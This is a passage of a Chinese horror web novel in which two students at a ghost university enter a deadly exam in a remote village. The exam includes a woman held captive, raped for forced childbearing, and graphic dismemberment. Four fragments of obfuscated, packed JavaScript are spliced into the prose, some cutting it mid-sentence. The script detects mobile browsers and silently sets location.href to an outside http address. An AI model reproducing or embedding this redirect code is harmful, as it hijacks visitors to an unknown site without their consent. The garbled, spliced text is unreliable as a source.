这跟她了解到的好像不一样啊,这蘑菇能吃吗?不会有毒吧?这技能也过于拉垮了吧。 她一脸不爽地从黑房间里走了出来,刚出来就看到时越满脸懵逼的站在门口。 “我这个技能……很怪。”时越一言难尽地说。 “有多怪,比种蘑菇还怪吗?”陈喻一脸生无可恋。 “啊?你是种蘑菇啊。”时越挠了挠头说,“那还比我强点,蘑菇至少算食物啊,你知道我的技能有多鸡肋吗?居然是厨艺!他们不知道什么叫巧妇难为无米之炊吗?” “在考场连食材都难找,更别说锅碗瓢盆菜刀什么的了,饿大都开发这什么破技能啊,怎么,他们是要参加食神比赛吗?”时越越说越气。 陈喻听着突然想起点什么,对着晓红问:“我突然反应过来,我们的专业技能不会最多也只能激活出F级吧。” “真聪明,是这样的呢,我们学校毕竟是F级院校嘛。” “果然是风险和收益并存,根本就没有什么优势一说,虽然我们学校获取研究生报名资格的考试只有F级,比其他院校简单,但是专业技能也只能局限在F级,我没猜错的话,院校等级越高,激活出来的技能等级也就越高,是吗?”陈喻恍然大悟。 “啊,这都被你发现了呢,不过想要让自己的专业技能变得更厉害的话,可以考虑技能升阶哦。”晓红又咧着大嘴在那嘻嘻哈哈。 “不对啊,院校等级已经卡死了,技能升阶并不能提高技能等级吧?”她突然想起。 “嘻嘻,技能升阶和技能等级是两回事了啦,一般而言,技能等级在技能激活的时候就已经鉴定完毕了,等级通常是不会再发生变化的,但是升阶又是另一回事,可以让你的技能变得更厉害哦,同样的专业技能高阶状态可能厉害很多哦。” 陈喻面无表情地看了一眼嘻嘻哈哈的辅导员。 升阶?她又不傻,升阶还得参加考试,听那家伙说的样子升阶考试说不定都跟上一场考试差不多了,运气不好的话,说不定要更难。 没等晓红把她俩带着去往下一个场地,陈喻就看到从楼上下来了一个眼熟的人。 几个小时前这家伙还冲着她俩信誓旦旦地说自己不会找上门来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545033|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “这学校可真小。”时越看着面前的人在陈喻耳边嘀咕。 “苏代表。” 晓红居然恭恭敬敬地朝她点了一下头,都是学生,她俩咋没这待遇。 苏韵还是那副像是对面欠了她几十万的表情,给不了一点好脸:“你先去休息吧,她俩后续的新生介绍工作就由我来跟进吧。” 陈喻从辅导员的眼神里甚至解读出了兴奋,她甚至怀疑那家伙又要苍蝇搓手了。 辅导员走后,苏韵走了过来,手里还拿着个文件夹,一本正经地开口:“重新做个自我介绍,我叫苏韵,是饿鬼大学的学生代表,这里所谓的学生代表呢,是代表我们学校去校外参加比赛的。” “说吧,来干嘛的?”陈喻开门见山。 苏韵也懒得绕弯子:“邀请你们成为学生代表。” “社团招新?”时越觉得这一幕莫名眼熟,“该不会也是那种招新的时候热烈欢迎,新生去了以后又各种面试,问我们为什么要来面试学生代表那种无聊的招新吧。” “有什么好处?”陈喻麻木地看着对面。 “参加校外比赛可以获得更多道具积分奖励,更重要的是获奖记录可以很大程度促进保研,哦对,你们应该没有保研资格,但是这对于考研面试也是很大的加分项。” 时越:“我们为什么没有保研资格?” “因为你们是这一届最晚的一批新生,研究生报名资格考试是最后一场会有新生的考试,换句话说,你们来得太晚了,如果早一点的话,就会像我们一样,参加一些校内考核类的考试,获取基础积分,再获得一些校外比赛奖励,或者是像秦曜那种在校内发展,成为学生会主席之类的,都很有利于保研,可事实上,你们参加的校内资格选拔考试已经是校内最后一场强制性被动性考试。” “实在没有什么诱惑力,既然保研跟我们无缘,我们又何必再冒着生命危险去参加校外比赛,校外比赛的等级只会更高,难度只会更大,如果不是形势所迫,我想没有这个必要。”陈喻说。 “你也知道上一场考试不过是个F级考场,校内考试再难也就这种程度,可是放在校外根本不够看,所有的题目几乎都公开透明,信息清晰且无干扰信息,只要缕清思绪通过只是迟早的问题,可是校外的比赛不一样。”苏韵冰冷的眼神仿佛一部机器,“虽然校内已经没有强制性考试,但是不参加研究生考试也是死路一条,就算你们不往出考,只是考本校的研究生,你们面对的也不只是本校的对手,你拿什么跟他们比呢?是可怜的积分还是稀少的道具?是拉垮的技能还是为零的经验?” “你们可能不清楚,域内现在已经卷成什么鬼样子了,全域五城,恶鬼城的顶尖院校也只能够到D级,是五城里面最差的一个,而咱们学校不过是恶鬼城城郊的一所野鸡大学罢了。” “在这里,不成长就会死,不进步就会被淘汰。” 陈喻突然顿了一下,缓缓开口:“饿大保研名额有多少?你和秦曜都在保研吗?” 她说完后,苏韵突然冷笑了一下:“说到这里,你知道周辛夷和韩少宇是怎么死的吗?” 陈喻不自觉蹙起眉头。 20. 升阶考试 “你是说这事跟秦曜有关系?”陈喻问。 苏韵冷笑着说:“两个老手相继莽撞赴死,还能跟谁有关系。” “周辛夷宁可花费金额在餐馆吃饭也一直谨慎地没有动用过专业技能,为什么会突然把烤鱼搬上村长的桌子?韩少宇一直谨小慎微紧抱秦曜的大腿,为什么会突然把展览馆的人鱼骨骸摔得稀碎?” 苏韵冲着她意味深长地笑了一下:“我就不信这些你没想过。” 说实话,秦曜虽然老是一副很好说话的样子,但这家伙确实很不真诚,陈喻需要的时候找不到人,陈喻快成功了他又跑出来要跟她合作,不过话说回来,苏韵又难道很简单吗? 几位老手都各怀鬼胎,不过是有的道行更深些,有的更有良心些罢了。 她一直觉得最难测的就是人心,跟老手凑在一起其实未必能得到他们的庇护,反而由于信息和经验容易遭受其算计,谁都不是傻子,他们不会做对自己没有利益的事情。 “学生会主席倒是挺会蛊惑人心的。”陈喻感慨道,“他是为了抢保研名额吗?” “他们俩都是学生会的人,太盲目相信他们主席了,根本就没有想过他们的主席究竟是想要救他们上岸还是想拿他们当踏脚石。”苏韵依旧冷着脸,“饿大今年给本届争取到的保研名额只有六个,对秦曜来说,你们根本就没有竞争力,他要对付的从来都是总积分靠前的老手。” “我不确定秦曜后面会不会找你,但不管你最终有没有成为学生代表,我都想提醒你一句,希望你不要步周辛夷和韩少宇的后尘。”苏韵一脸认真。 陈喻微妙地沉默了一会儿,看着她问:“我只有一个问题,你曾经见过有人离开这里吗?” 苏韵从她复杂的眼神中看到了绝望与希冀的交替,那眼神莫名让苏韵觉得熟悉,曾几何时,她也是在这样问别人。 “想离开这里的人怎么会只有你一个,但我确实没有亲眼见到过有人离开,因为厉害的考生一般都会考到其他地方,很多人觉得往上走或许会有出路。”苏韵的眼神难得的有些迷茫,“规则是由上位者制定的,想要改变规则,就得接近他们,成为他们。” “可是陈喻,你知道吗?在挣扎的这条道路上人是会慢慢迷失自我的,在你埋头搏命、和这些人一起卷死卷活的时候,你或许有一天都不记得你是在为了什么而搏命。”苏韵带着凉意的眼神看着她,“同化永远是最可怕的东西,当你麻木地看着一个温热的身体在你面前碎裂的时候,当你不再重视生命的时候,当你逐渐记不清原来世界发生的事的时候。” 苏韵眼神里的东西似乎透过双目传递到了陈喻心底,陈喻沉默了。 就像当初韩少宇说的话一样,没有人知道真正的答案是什么,没人知道怎么选一定是对的,所有的一切不过是拿命在赌而已。 不会有人信誓旦旦地告诉她究竟能不能离开,怎么离开,只能她自己做出愿不愿意去赌一把的判断。 现在的情况很复杂,如果她暂时确实出不去的话,摆在她面前可能只有一条路。 不考这个研究生会死,考这个研究生大概率也会死,但至少还有生还的几率,可是一旦决定要考她面临的将是比她经验丰富并且技能道具更强的对手,当务之急是变强。 “考虑得怎么样?”苏韵打量着陈喻的神色。 说白了,校外赛能获得的无非是积分和道具,最多还有点校外考试经验,积分哪里都能拿,道具她也不太了解,至今唯一拥有的一样道具魔方还不清楚是干嘛的,但根据她的感觉,道具听起来依附性和可靠性都不如专业技能强。 她有一个更稳妥更高收益的打算。 “我想先给技能升个阶。”陈喻说。 专业技能考试,校内考试,难度到顶也就F级,能拿积分,说不定也能拿道具,能长经验,最重要的是,她现在的技能还是太拉垮了,在低级考场劣势还不是很明显,到了高级考场怕是得被虐死。 陈喻本来以为苏韵还要招纳一会儿,谁知她听了倒是没什么反应,动作自然地将手里的文件夹收了起来,然后一副公事公办的样子:“也是个不错的决定,至少有点斗志了,人我就先不招了,等你们有命从升阶考试出来再说吧。” “慢着!们在哪里?!”在旁边站桩已久的时越突然回过神来。 “对了,饿大没多大点地方,你们自己溜达溜达吧,如果你们肯参加考试的话就不用担心积分太少的问题,也就没什么必要去教室上课了,一节水课也就两个积分,而且你们没有保研资格,也不需要攒太多基础积分,够用就行。” “低阶的技能很少有不鸡肋的,但是升阶后的技能就全看你们的运气和本事了。” 苏韵扔下了几句话,转身就走了,陈喻看着她离开的背影从兜里摸了摸,摸到了一个冷硬的物件,那枚拿来找人的勋章道具居然还在她身上。 “你真的要参加升阶考试?”时越问。 陈喻把玩着手里那枚勋章,看向饿鬼大学上空土黄色的太阳:“我有一个新的打算。” 时越看着她这副熟悉的样子,心有余悸地有种不详的预感:“什么?” 她轻声笑了一下,笑得时越毛骨悚然。 她说:“我打算一路干到全域的教育系统去。” 时越:“……”果然。 饿鬼大学虽然破旧,但是这片荒芜的郊区却足够宽敞,宿舍有双人间、四人间以及六人间可供选择,陈喻她俩果断双人间。 虽说饿大的学生大多都是像他们这样的人,但据校内的学生说里面还是有不少原住民的,其中有一些还专门担任布置考场这样的重要任务,所以有些原主鬼怪长得有些不是很方便,陈喻也不是很想跟他们亲密接触。 老旧的宿舍墙皮已经脱落大半,窗户颤颤巍巍一副要掉不掉的样子,架子床每挪动一下都发出吱吱呀呀的声音,莫名像是诡异的叫喊。 “哎陈喻,你说我老叫你陈喻会不会显得生疏,毕竟咱俩也算死里逃生,算过命的交情了。” 时越躺在架子床上翘着二郎腿,明明天色已经暗了下来,她却怎么也睡不着,并且可能是刚从上一场考试出来,她总是莫名觉得夜晚就是不安全的,而且她躺在上面看不到下铺的陈喻,这让她更不安了。 “那你叫我陈喻姐吧。” 陈喻不带感情的声音从下面传来,时越有些不自在地挠了挠头。 “可是我不习惯叫别人姐啊,我叫你小喻吧。” 时越说完后并没有等到下铺的回应,长久的寂静让她莫名有点慌:“陈喻?小喻?你睡着了?你怎么不说话了……” 她说着慢慢探头朝着下面看了一眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553343|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这不看不要紧,一看差点从上铺摔下去。 时越深吸了一口气:“陈喻!谁让你在房间里种蘑菇的?!” 只见宿舍的水泥地面上密密麻麻种满了小小的褐色蘑菇,陈喻甚至还正在给架子床的爬梯上乐此不疲地种蘑菇,这感觉根本不像住在宿舍,而是住在哪个深山老林里,时越甚至觉得自己现在拿根香蕉就是站在树杈上的吗喽。 陈喻突然“啧”了一声,听起来似乎很不爽。 “看来这些技能果然也是有限制的,一次只能种这么点。”她叹了口气,“你明天醒了试试拿这些蘑菇炒盘菜,我先睡了。” 时越:“……” 她当然没有炒菜,毕竟这里连锅都没有。 第二天陈喻再见到晓红的时候,感慨这家伙的精力就是旺盛,每次见到她们都在用尽全身的力气呲牙咧嘴地冲她们绽放诡异的笑容。 “你们想好了今天直接进行专业技能升阶考试吗?这场考试难度可不低呢,要是运气不好的话,可是要比研究生报名资格考试还要难呢。” 陈喻听完拉扯嘴角笑了一下:“辅导员你不知道,我的运气真的很好呢,否则怎么会有机会参加升阶考试呢。” 运气好得不得了,不然怎么会在这个鬼地方参加这种破考试呢。 时越感觉她后槽牙都要咬碎了。 时越发誓她真的有劝过陈某人,至少享受几天平淡安逸不担心命的日子,但是没劝动,她甚至觉得陈喻很适合这里,因为在此之前,她从来没见过会无时无刻开始背书的卷王,实在很符合这里的氛围。 陈喻自从知道自己不能回去考试之后,整个人的状态就有点复杂,对她来说,早死晚死都得死,在这吃不好住不好的破地方多待几天也没有什么用,不如在她把耐性耗完之前直接开始吧。 她突然微笑着看向晓红。 时越看到这个熟悉的表情甚至有些为晓红担忧。 “亲爱的辅导员,我打算送你一个礼物。”陈喻摊开手心,里面是一个小小的褐色蘑菇,“快尝尝看吧,味道很不错的。” 晓红看到她手里的蘑菇之后,愣了一下,似乎想要往后退上半步,陈喻却欺身而上,把蘑菇一下子递到了她的嘴边。 眼看着对面一副不容拒绝的样子,晓红打起哈哈,陈喻趁她一个不注意就把蘑菇放进了她嘴里。 晓红吃下去后,似乎感受到了蘑菇的美味,甚至对此赞不绝口。 看来这蘑菇可以吃。 陈喻看了她的反应,也没多说什么,直接去到技能升阶考试登记处。 【图书馆提醒您:试炼有风险,升阶需谨慎!】 【请确定您是否参加专业技能升阶考试】 陈喻想也没想按了【是】,时越不情不愿跟随了【是】。 【考生信息确认中……确认完毕】 【技能升阶考场匹配中……匹配失败!】 【……】 陈喻:“嗯?” 又是一段闪烁黑白的雪花屏闪过。 饿鬼大学能开开,不能开直接倒闭吧。 【……匹配成功!】 浓重的黑暗将陈喻吞噬,她瞬间失去了意识。 晓红咧着血红的大嘴目刚刚目送完她们离开,一转身却头晕目眩,甚至看到了一堆陈喻在喂她吃蘑菇。 21. 迷梦之乡(1) 【欢迎参加饿鬼大学校内专业技能升阶考试。】 【请考生仔细阅读考生须知内容。】 浓雾几乎遮挡了所有视线,可视距离仅有一臂之宽。 低头往下看去,荒芜的土地上散落着一些碎石,不知道是看到的太少还是什么原因,陈喻觉得这里应该挺像废土风一无所有的饿鬼大学的。 “这么重的雾,我连你都看不太清。”时越的声音从身旁传来,“这地方也太危险了吧。” “我去!又是这种穷乡僻壤,饿大的考场怎么总是这么拉,连一顿饱饭都指望不上。” “饿大的学生还妄想吃饱饭。” 带着抱怨的吐槽声从不远处传来,这种失去对周围环境把控的感觉让陈喻略微有些不安。 “这个可视度也太差了吧,旁边有什么东西都察觉不了。” “你要不别说话了,我鸡皮疙瘩都起来了。” 几道声音散布在不远处各方,真不知道这种感觉算是安全感多一点还是诡异感多一点。 【考生已全部入场,考试即将开始。】 “我怎么感觉人还挺多的?”时越在陈喻耳边说。 “你确定你听到的都是人吗?” 幽幽的声音从一边传来,时越顿时整个人都僵住了,差点没当场挂在陈喻身上。 “我就说跟鬼玩哪有逗人玩好玩。”刚刚那道声音笑着说。 “消停点吧,祖宗。” 时越:“……” 【考场信息载入中……载入完成】 【饿鬼大学专业技能升阶考试】 【考场场次:***考场】 【考生人数:12人】 【考试时间:7天(答题完毕可提前交卷离开)】 饿大的考试系统也这么拉,又抽了,场次都显示不出来。 【本场考试由本场监考老师宣读试题,考生须跟随监考老师指引于指定位置完成考题。】 【考试期间考生有任何问题请询问本场监考老师。】 【本场考试主题:迷梦之乡】 【考试正式开始,考生开始答题。】 “你们是来干嘛的?” 带着浓重口音的声音男声从他们前方传来。 眼前的雾竟然逐渐散去,而周遭的环境也暴露在众人眼前,此处草木幽深,似乎是处于大山深处,几只乌鸦突然从山顶掠过,发出叫声来,未曾下雨的天气却莫名显得阴湿,阴暗的天色让人的心情也跟着压抑阴郁起来。 “我们是从东土大唐而来的修行者,正准备去往西天拜佛求经呢,施主遇到我们也算有缘,有钱给个路钱,没钱化个缘吧。” “……” 开口的是个穿着一身运动装的女生,她留着齐肩的短发,五官立体,看上去很有少年感,说话间挑起一边眉毛,似乎在挑衅对面的NPC。 她说完众人都不自觉朝她看去,时越一下子就听出来这货就是刚刚吓她说逗她玩的家伙。 对面的男人看上去灰头土脸,鸡窝头和满脸的胡茬都未曾打理过,听到对面的胡言乱语眉心的八字越发明显,整个人似乎都愣住了:“你们到底是什么人,不好好说可别怪我不客气了。” “说了你又不听,听了你又不信,也没见你客气到哪里去。”短发女双手抱臂一副懒得搭理他的样子,“天儿,你说饿大现在懒到连身份配置也不给我们做了吗?” 旁边胖胖的男生一脸无奈地看着她:“班长,我之前怎么跟你说的来着,要善待NPC。” 眼看那男人面色愈发不悦,陈喻开口:“我们是来旅游爬山的,只是不小心走丢了,您知道这是哪里吗?” “你们不知道这是哪?”男人疑惑的表情在脸上停留了一会儿,紧接着扫视过每一个人,那目光似乎将所有人从上到下打量了一遍,看得人极不舒服。 “算了,最近山上总起大雾,山路并不好走,你们先跟我回村吧,等过几天我让人送你们出去。”男人边说边往前走,“我提前告诉你们啊,我们这片村子呢都喜欢睡觉,睡着了就总是做梦,如果你们呆着里面老是瞌睡多梦都是正常的。” “你们来啊也是赶上好时候了,李老汉要给孙子狗蛋娶媳妇了,说是明天要请全村人过去摆席呢。” “这就是这场的监考?”时越在陈喻耳边小声问。 “看起来像是。”陈喻说。 【考生信息载入中……加载完成】 【考生姓名:陈喻】 【考生学校:饿鬼大学】 【专业技能:种蘑菇】 【考生目前拥有道具:兹木魔方(禁用);定位勋章(禁用)】 【考生本场可用道具:无】 【本场考试限定道具:一把小刀(看上去似乎很锋利,适合切水果)】 “这么鸡肋的道具拿来干嘛?它也好意思。”短发女似乎很不满。 【温馨提示:本场考试采取多方位监考机制,考场分布多位监考老师,请考生注意听题,不要遗漏题目信息。】 “这啥意思?不是只有那个男人吗?”时越看着空旷的山路。 “有点麻烦,最讨厌这种当孙子的感觉了,谁的话都得听,全都是隐藏规则。”短发女看上去更不爽了。 【各位考生你们好,我是本场的监考老师之一,现在我宣读我的题目,宣读只此一次,请考生注意。】 【请记住,在这个村落每个人都是举刀者,请选择你的阵营。】 明明机械音,却莫名带着一股诡异的调调,陈喻听得极不舒服。 “这是什么情况?”陈喻直接对着短发女问。 “多方位监考嘛,就是到处都是监考,你得留意每个NPC说的话,做的事,因为你也不知道他此时此刻是不是正在宣读题目。”短发女一手搭在旁边的小胖男生肩上,“不过这个考场好像还有非实体化监考也在宣读题目,既然是现在就宣读的,那说明肯定很重要,说不定下一秒进村就有可能误触这条红线的那种。” “说实话,这不像F级考场的配置。”短发女补充道。 举刀者?道具小刀?如果是这个举刀也太儿戏了吧。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570724|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 男人带着他们绕过不知多少个弯道后,一个村落出现在他们面前,陈喻大致瞅了这里一眼,这里的屋子跟上一个考场的屋子还是很不一样的,比上个考场还寒酸,上个考场的屋子好歹是木屋,这个考场的屋子直接是土墙,不过倒是比上个考场的村落人烟气旺多了。 很难想象在这样的大山深处竟然藏着这样一个村落,陈喻跟着男人超前走去,看到村口附近的屋子门口坐着一个中年女人,她看上去一样的灰头土脸,头发斑白,脸上似乎有着不属于她这个年纪的褶皱,远些的时候陈喻还以为那是个老太太,那女人正坐在小木凳子上静静地往村口看。 “这是姚大婶,是狗蛋他妈,马上儿子要娶媳妇了,心里不知道多美呢。”男人笑着对他们说。 陈喻看着姚大婶的面容,实在看不出来她哪里心里美了,时间赐予她的皱纹似乎将她的面容定格成了一副愁容,陈喻只是这样看着她似乎就能从她浑浊的眼神里看到疲惫,但那眼神里似乎又有着某些极度复杂的东西,她静静地看着村口似乎在等待着谁。 姚大婶似乎也注意到了他们,那眼神说不清发生了什么变化,陈喻觉得那视线在她身上打量了一瞬。 “唉,狗蛋他爹很早就……如今狗蛋终于要娶媳妇了,姚大婶心里肯定想着狗蛋他爹要是在就好了,难免有些愁,算了,让她自己待一待吧,我带着你们往里面去看看,也给你们找个晚上住的地儿。” 村里的土房子很多,人也不少,陈喻他们往前走甚至遇到不少从旁边窜出来的小孩,那些小孩一个个脸颊通红,甚至流着鼻涕,在人们脚下窜来窜去,起初她觉得是巧合,后面越走越发现,在外面疯跑的好像都是男孩。 有一个男孩突然撞到了陈喻的脚边,他被撞得一屁股坐在了地上,他似乎生气极了,拍了拍身上的土站起来,在看到陈喻陌生的面孔后突然从上到下打量起她来,那眼神像极了领头男人的模样,她进入这个村子后在路上遇到的每个人几乎都会用这种目光打量他们。 那是一种让人极度不舒服的眼神,如果一定要形容的话,陈喻觉得他们不是在看一个人,而像是再看案板上一块有待称量的肉,然后预估它的价格, 那男孩突然嘿嘿一笑,冲着她说:“你是爹给我弄来的新媳妇吗?” “穿着开裆裤呢就开始找媳妇了,你现在需要的不是新媳妇,而是个新爹。”短发女走上前来戳着小男孩的脸,“看什么看,我就是来当你爹的。” 小胖男生在她身边默默嘀咕:“不要动NPC动手动脚的。” 小男孩见状一脸吃瘪,拍拍屁股上的土,转身跑开了。 “天儿,讲良心,是他先动手动脚的。” 陈喻觉得有时候还是要有人替她发疯的,刚刚短发女要是没说话,她一个巴掌就呼上去了。 男人继续把他们往前领,陈喻他们一直跟在后面。 阴冷的风从前方刮来,乌鸦在头顶盘旋着,陈喻走着走着踢到一截干枯的树枝。 不知道是不是陈喻的错觉,她总觉得附近似乎有什么微弱的叫喊声。 22. 迷梦之乡(2) “这附近有厕所吗?” 队伍里一个女生问领头的那个男人,男人随手给她指了不远处一个很小的土房子。 “我有点害怕,你可以陪我过去吗?”女生朝着队里另外一个男生说,他们好像是认识的。 “大白天的你有什么好怕的,我又不能进去和一块上。”那男生看上去有些烦躁。 “这里天色这么阴沉,周围又全是树木雾气遮挡,这里毕竟是考场,谁知道会不会窜出什么东西来。”女生顿时也有点急了,“咱们进来前不都是说好的吗?你答应会保护我,我才同意跟你一起考升阶考的啊。” 男生的脸色变得难看起来,似乎对女生的行为感到嫌弃和厌烦,但也不想和她在众人面前再过多纠缠,便答应了跟她一起过去。 陈喻静静地看着这两人朝着厕所的方向走去,旁边肆意生长的树枝和未消散干净的雾气挡住了她的视线,她隐约觉得自己刚刚听到的叫喊声似乎就是从那个方向传来的。 “这里应该都是旱厕吧?”时越在她旁边说,“我小时候在农村老家住,跟这里还有点像呢。” 女生刚走进厕所里就用手把鼻子捂了起来,整个面目都扭曲起来:“这里怎么是旱厕啊,恶心死了,这怎么上啊。” “这是考场,又不是你家,赶紧上完赶紧走,别墨迹。”男生在外面更不耐烦了。 女生没法子,只好凑合着在里面上了厕所。 不知道是不是男生的错觉,这附近的雾气好像又变浓了,可视度又变差了好多。 “你刚刚有没有听到什么声音?”女生出来后问男生,“我刚刚待在里面好像一直听到有女人的叫喊声。” 男生听完一阵头皮发麻:“你耳朵坏了吧,哪有什么声音,赶紧回去吧。” 男生说着往之前的方向走出,可是剥开层层雾气,树影错落间越走越觉得这里似乎不是之前的地方,也没有其他考生的身影,他试着喊了几声,也没有人回应。 就在他越发烦躁的时候,他听到了其他的声音,这声音应该不来自其他的考生,那是一道女人的喊叫声,那声音透露着一种哀怨和凄惨,在寂静的山谷里被放大,明明似乎很微弱,但却越来越清晰,随着这道声音一起清晰起来的是他的心跳声。 “你……你听到没有?”他问。 “……你也听到了?”女生不自觉颤抖起来,“我们是不是走错路了,这该不会……该不会是鬼打墙吧。” “你还是别说话了。” 迷雾之中男生不知道触碰到什么,无意中竟然推开了一道门,那门里面的屋子似乎是间柴房,地上铺满了枯黄的杂草,难闻的气味似乎被发酵过一样,熏人的臭气扑面而来,铁链被拉拽的声音刺激着他们的耳膜,被那铁链拉扯着的是一个面目全非到乍一看已经不像人形的女人。 男生慌乱得要命,转身就准备跑,却听到眼前的女人气息微弱地说:“……救救我……救救我……” 女人的头发像地上的枯草一样杂乱不堪,她衣不蔽体,以一种奇怪的姿势趴在枯草上,脸上身上都是一些不知道什么东西的脏污,甚至还有一些斑驳的血迹,眼泪顺着她空洞的眼睛里流淌而出,两条手臂和腿部全是淤青。 “你……你是谁啊?你是被村民绑来的吗?”女生试探着问她。 她的反应似乎很迟钝,但泪水一直在流:“我……我不记得了……你们救救我好不好……你们带我离开好不好……我求求你们了……我不要死在这里……” “……太痛苦了……要不然你们杀了我好不好……” “……求求你们了……救救我吧……” “别跟她墨迹了,咱们赶紧走吧,这里不正常。”男生拽起女生就准备往外跑,却听到柴房另一边的门栓动了起来。 男生眼疾手快,跑出去一脚将门踢上,只要稍慢一步,就会被屋子的主人发现。 屋门的缝隙很大,他们并没有直接离开,而是趴在缝隙处看着里面此时的光景。 走进来的是一男一女,女的年纪大些,似乎是男人的母亲,看起来跟村口的姚大婶差不多,她走上前来往躺在地上的女人身上浇了一盆水,似乎在给她清洗身体,只是那手法却不像是对待人的。 大婶似乎有些不悦:“你瞧瞧你怎么把自己弄得脏成这个样子,你们城里人不是最讲究了吗?你要是好好听话不就不用遭这些罪了吗?你说说,你怎么连个儿子都生不出来,要你有什么用?” 躺在地上的女人畏缩着把自己缩成一团,神情却是麻木的,像是这样的事情已经习以为常。 “咱们老李家一脉单传,可不能在你这断了啊,你这些日子也休养得差不多了,正好再要个儿子。” 大婶的话刚刚说完,地上的女人突然开始疯狂挣动起来:“不!我不生!我不生!!” “生不生可不由你说了算。” 大婶狞笑着说完,就拍了一把旁边的男人,那男人二话不说就欺身而上,眼看那女人挣动直接就给了她一巴掌。 “我错了!我错了还不行吗!你们放过我好不好!!我求求你们了!!” 地上的女人撕心裂肺地哭喊着,可不知道是因为吃不上饭身体太虚弱还是喊得久了,那声音嘶哑极了,仿佛用尽了全身的力气却只能发出微弱的声音来,而那微弱的声音又被掩盖在风中,怎么也传不出去。 “你早点乖乖听话不就好了吗?等你生完这个儿子吧,等你生完我就考虑放你出来的事。”旁边的大婶咧着嘴笑着说。 女人此时已经发不出任何声音,她神情麻木,像块案板上的鱼肉一样任人宰割,泪水从她空洞的眼睛里溢出,她直勾勾地盯着屋外偷看着这一切的两人。 屋外的男生被这眼神看得头皮发麻:“算了,别看了,快走吧。” “她……她是不是在等着我们救她?”女生看得面目扭曲,但她又不敢轻举妄动。 “你要是不想变得和她一样的话就赶紧跟我走,你要是非要送死我也不拦着,反正我要走了。” “哎……哎你等等我!” 陈喻看着两个考生离去的方向莫名有些心慌,明明已经过去很久了,可还是没有两人的踪迹,偏偏雾还更浓了。 “他俩是不是掉厕所里了?怎么还没回来?”短发女有些站不住了,“天儿,你说他俩怎么还不回来,这样很难不让我怀疑他俩出事了啊。” “也有可能是迷路了啊。”有点胖胖的男生说。 “这种话术每次都是拿来自欺欺人的。”短发女补充。 头顶的乌鸦又叫唤了几声,陈喻抬头看去,不知道为什么,这些家伙一直在头顶盘旋着。 “———啊啊啊啊啊!!!” 撕心裂肺的声音划破了寂静的长空,不知道是不是陈喻的错觉,浓雾好像又消散了。 “出事了。” 她扔下一句话,便朝着声音的来源跑去,根据她之前的经验,还是越早过去越不容易错失线索。 那是一个破旧的土房子,屋门大开着,里面臭气熏天,只一靠近窒息的味道便扑面而来,里面的生存环境恶劣至极,铺满干草的土地上躺着三个人,血迹将整个屋子浸染。 其中有两个正是刚刚一起去厕所的一男一女,他们现在的样子看上去已经完全失去人样,四肢都被砍成了一节一节的,脑袋跟身子也没有连在一起,甚至他们的每一部分都被乱七八糟地扔在各个角落,最惨不忍睹的还是他们的头,被摔得脑浆四溢的脑袋上,空荡荡的眼眶里已经找不到眼睛的踪迹,大张着的嘴巴里也找不到舌头,满是划痕的脸让他们面目全非。 不过引起陈喻注意的还是多出来的那具女尸,她看上去衣不蔽体,浑身脏污,浑身都是青紫交加的淤青,看起来像是被凌虐致死的。 陈喻捂着口鼻忍了好一会儿才硬是没吐出来,时越跟着她进来就闪现了一下便很有自知之明地往外走去。 “我去!我去!这才第一天就死了俩!”短发女瞪大双眼,一把拍在旁边的小胖肩膀上,“我去!天儿!你看到了吗?这他妈绝对不是F级考场!” “班长,你冷静一点,我上次怎么跟你说来着,不要老说脏话。”小胖一脸无奈。 “那我说什么,说哇塞,这里躺了两个人吗?”短发女抱臂打量了他一下,“你这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581445|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么冷静,你腿抖什么?” “……” “是谁?!是谁杀了她?” 领头的男人突然冲上前来,他面目狰狞地看向身后的众人,似乎打算一个不留地弄死。 “是你们!” “是你们这些外乡人!!是你们杀了我儿媳妇!!” 男人说着不知道从哪里拎起一把半人高的大砍刀出来,朝着他们就劈了过来。 时越赶紧把陈喻往后拉了一把:“这不对吧!” 